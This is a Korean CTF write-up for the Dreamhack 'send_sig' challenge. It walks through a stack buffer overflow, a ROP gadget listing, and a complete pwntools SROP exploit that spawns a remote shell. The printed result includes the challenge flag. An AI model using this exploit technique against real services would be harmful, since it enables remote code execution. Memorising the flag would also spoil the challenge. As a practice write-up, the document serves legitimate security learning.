send_sig

Description

서버로 signal을 보낼 수 있는 프로그램입니다!
프로그램의 취약점을 찾고, 익스플로잇해 flag를 읽어보세요.
flag는 home/send_sig/flag.txt에 있습니다.

checksec

seo@seo:~/Documents/dreamhack/send_sig$ checksec ./send_sig
[*] '/home/seo/Documents/dreamhack/send_sig/send_sig'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

Decompiled-src

start / sub_4010B6

void __noreturn start()
{
  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 1, 0LL);
  write(1, "++++++++++++++++++Welcome to dreamhack++++++++++++++++++\n", 0x39uLL);
  write(1, "+ You can send a signal to dreamhack server.           +\n", 0x39uLL);
  write(1, "++++++++++++++++++++++++++++++++++++++++++++++++++++++++\n", 0x39uLL);
  sub_4010B6();
  exit(0);
}

ssize_t sub_4010B6()
{
  char buf[8]; // [rsp+8h] [rbp-8h] BYREF

  write(1, "Signal:", 7uLL);
  return read(0, buf, 0x400uLL);
}

sub_4010B6 함수에서 “Signal: “을 출력하고
할당된 8바이트 크기의 buf에 0x400만큼 입력받을 수 있으므로 버퍼 오버플로우를 발생시킬 수 있다.

Solution

seo@seo:~/Documents/dreamhack/send_sig$ ROPgadget --binary ./send_sig
Gadgets information
============================================================
0x00000000004010f2 : add al, ch ; push -0x6f000001 ; leave ; ret
0x000000000040109e : add byte ptr [rax - 0x77], cl ; clc ; nop ; pop rbp ; ret
0x0000000000401016 : add byte ptr [rax], al ; add dl, dh ; jmp 0x401000
0x000000000040109d : add byte ptr [rax], al ; mov qword ptr [rbp - 8], rax ; nop ; pop rbp ; ret
0x0000000000401018 : add dl, dh ; jmp 0x401000
0x00000000004010f7 : call qword ptr [rax + 0xff3c3c9]
0x000000000040101e : call qword ptr [rax - 0x5e1f00d]
0x00000000004010a2 : clc ; nop ; pop rbp ; ret
0x00000000004010a9 : cli ; push rbp ; mov rbp, rsp ; pop rax ; ret
0x00000000004010a6 : endbr64 ; push rbp ; mov rbp, rsp ; pop rax ; ret
0x00000000004010ad : in eax, 0x58 ; ret
0x000000000040101a : jmp 0x401000
0x00000000004010f9 : leave ; ret
0x00000000004010a0 : mov dword ptr [rbp - 8], eax ; nop ; pop rbp ; ret
0x00000000004010ac : mov ebp, esp ; pop rax ; ret
0x000000000040109f : mov qword ptr [rbp - 8], rax ; nop ; pop rbp ; ret
0x00000000004010ab : mov rbp, rsp ; pop rax ; ret
0x00000000004010f8 : nop ; leave ; ret
0x00000000004010a3 : nop ; pop rbp ; ret
0x00000000004010ae : pop rax ; ret
0x00000000004010a4 : pop rbp ; ret
0x00000000004010f4 : push -0x6f000001 ; leave ; ret
0x00000000004010aa : push rbp ; mov rbp, rsp ; pop rax ; ret
0x00000000004010a5 : ret
0x000000000040103b : sar edi, 0xff ; call qword ptr [rax - 0x5e1f00d]
0x000000000040109c : sldt word ptr [rax] ; mov qword ptr [rbp - 8], rax ; nop ; pop rbp ; ret
0x00000000004010b0 : syscall

Unique gadgets found: 27

첫번째 매개변수를 지정할 수 있는 pop rdi 가젯이 없기 때문에,
Signal-Oriented Return Programming, SROP을 통해 쉘을 획득할 수 있다.

0x00000000004010ae : pop rax ; ret
0x00000000004010b0 : syscall

위 2개의 가젯들을 이용해서
rax 레지스터값을 SYS_rt_sigreturn 시스템 콜 번호인 15로 맞춰주고,
syscall을 호출하는 ROP을 작성해주면 된다.

solve.py

from pwn import *
#context.log_level = 'debug'
context(arch='amd64', os='linux')
warnings.filterwarnings('ignore')

#p = process("./send_sig")
p = remote("host3.dreamhack.games", 13050)
e = ELF('./send_sig', checksec=False)
 
pop_rax_ret = 0x4010ae
syscall_ret = 0x4010b0
SYS_rt_sigreturn = 15
frame = SigreturnFrame()
frame.rip = syscall_ret
frame.rax = 0x3b    #SYS_execve
frame.rdi = 0x402000 #/bin/sh
frame.rsi = 0
frame.rdx = 0

payload = b'A'*0x8
payload += b'B'*0x8
payload += p64(pop_rax_ret)
payload += p64(15)  #SYS_rt_sigreturn
payload += p64(syscall_ret)
payload += bytes(frame)

p.sendlineafter("Signal:", payload)

p.interactive()

Result

seo@seo:~/Documents/dreamhack/send_sig$ python3 solve.py
[+] Opening connection to host3.dreamhack.games on port 13050: Done
[*] Switching to interactive mode
$ ls
flag.txt
send_sig
$ cat flag.txt
DH{5a5e56589d32087ec7a37f3b70a84483eae7404e9072173ec7571b632b804760}
$
[*] Interrupted
[*] Closed connection to host3.dreamhack.games port 13050